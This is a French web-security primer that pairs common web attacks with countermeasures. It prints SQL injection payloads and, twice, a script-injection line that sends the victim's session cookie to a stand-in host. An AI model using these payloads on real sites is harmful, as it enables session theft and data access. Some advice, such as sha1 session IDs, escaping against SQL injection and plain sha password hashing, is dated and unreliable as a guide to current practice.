Sécurité : failles, attaques et contre-mesures (liste non exhaustive)

Faille: Erreur Apache ou PHP

Description : Erreur d'apache (mauvaise configuration) ou indisponibilité de PHP provoquant l'affichage du code PHP directement dans le browser. Ou mauvaise gestion des affichages des erreurs des scripts.

Exemples d'attaque : les codes d'accès (comme celui de la base de données) écrit « en dur » dans le code PHP seront directement visible par le visiteur. La sécurité du code PHP peut facilement être analysée pour en déceler des failles.

Contre-mesures : Mettre toutes les informations critiques (mot de passes, code PHP sensible, …) en dehors du répertoire publique du serveur web et inclure ces fichiers (include_once en PHP) dans vos script PHP dur répertoire publique. Désactiver les affichages d'erreur PHP sur les serveurs de production (les remplacer par des messages d'erreur orienté utilisateur et non programmeur). Ne pas utiliser des comptes « root » dans vos applications.

Attaque : SQL injection

Description : injection de code SQL via des failles de validation de données dans une application web (via les champs d'un formulaire par exemple).

Exemples d'attaque :
' UNION SELECT REPEAT('hack', 1) AS 'password', REPEAT('hack', 1) AS 'username
' UNION SELECT REPEAT(' a94a8fe5ccb19ba61c4c0873d391e987982fbbd3, 1) AS 'password

Contre-mesures : Valider tous les champs en entrées, et contrôler qu'ils ne contiennent pas de code SQL lors de leur utilisation dans une requête (en PHP avec la fonction real_escape_string par exemple)

Attaque : JavaScript injection

Description : injection de code JavaScript via des failles de validation de données dans une application web (via les champs d'un formulaire par exemple).

Exemples d'attaque :
<script>alert('message du hacker ici !)</script>
<script>window.location='http://example.com/stole.cgi?text='+escape(document.cookie)</script>

Contre-mesures : Valider tous les champs en entrées, et contrôler qu'ils ne contiennent pas de code JavaScript lors de leur utilisation dans un affichage sur une page web (par exemple si l'on demande un entier à l'utilisateur, vérifier que c'est bien le cas et pas autre chose comme du code JavaScript !).

Attaque : Brute force de l'identifiant de session

Description : parcours de tous les identifiant de session possible pour essayer de trouver l'identifiant de session d'un utilisateur actuellement connecté à l'application web.

Exemples d'attaque : créer un cookie contenant l'identifiant de session et effectuer un GET d'une page de l'application afin de vérifier si l'accès est OK. Refaire ces étapes pour tous les identifiants de session disponible.

Contre-mesures : utiliser sha1 plutôt que md5 pour la génération des identifiant de session (identifiant plus long donc plus de possibilité). Réduire le temps de vie de session : les sessions actives (ainsi que leur identifiant) sont donc moins nombreuses. Changer les identifiants de session des utilisateurs connecté régulièrement (en PHP grâce au code suivant: *session_regenerate_id(true)*).

Attaque : Session fixation

Description : le hacker essaye d'injecter son identifiant de session (en imaginant que le hacker est un utilisateur de l'application) à un autre utilisateur. Le hacker attend ensuite que c'est autre utilisateur se log afin que les deux personnes partages le même identifiant de session. Le hacker peut alors se faire passer pour la victime.

Exemples d'attaque : Accéder à une page sécurisée de l'application et récupérer l'identifiant de session ainsi créé. Injecter ensuite un cookie contenant le même identifiant sur l'ordinateur de la victime (via une attaque JavaScript injection ou autres) et lui demander de s'authentifier sur l'application (via un email pseudo officiel par exemple).

Contre-mesures : changer l'identifiant de session régulièrement. Utiliser un deuxième contrôle en plus de l'identifiant de session pour différencier deux utilisateurs. Par exemple un « token » de sécurité contenant l'identifiant SSL de l'utilisateur, vérifier ce « token » de sécurité sur chaque page sécurisée. Limiter le temps de vie des sessions. Plus les contre mesure de l'attaque JavaScript injection.

Attaque : Session hijacking (vol du numéro de session)

Description : le hacker essaye de voler l'identifiant d'un autre utilisateur actuellement connecté à l'application. Le hacker peut alors se faire passer pour la victime en créant un cookie contenant cette identifiant sur son ordinateur.

Exemples d'attaque :Vol de l'identifiant de session par attaque direct sur l'ordinateur de la victime ou vol via une attaque JavaScript injection ou autre cross-site scripting (XSS). Exemple d'injection JS :

<script>window.location='http://example.com/stole.cgi?text='+escape(document.cookie)</script>

Contre-mesures : idem session fixation

Faille: accès à la base de données

Description : Un utilisateur à accès en lecture à la base de données (par exemple un employé de l'hébergeur de votre application web ou quelqu'un d'autre via une faille de votre SGBD). Celui-ci peut alors y lire les mots de passe des utilisateurs de votre application (entre autres).

Exemple d'attaque : vol d'un mot de passe de la base pour se faire passer pour cet utilisateur.

Contre-mesures : Chiffrer les données sensibles de votre base. Par exemple pour les mots de passe utiliser une fonction de hachage (sha par exemple). Attention tout de même à utiliser des « salt ». Deux au moins pour une bonne sécurité (un propre a chaque mot de passe sauvé dans la base, et un autre propre à votre application web dans vos scripts PHP par exemple.

Attaque : web sniffing (écoute des communications sur le réseau)

Description : le hacker a accès à un point de passage sur le réseau (un rooter par exemple) et écoute toutes les communications vers votre application.

Exemples d'attaque : Le hacker vérifie tout les paquets TCP/IP afin d'y trouver une requête GET ou POST vers votre application contenant un nom d'utilisateur et un mot de passe.

Contre-mesures : Utiliser SSL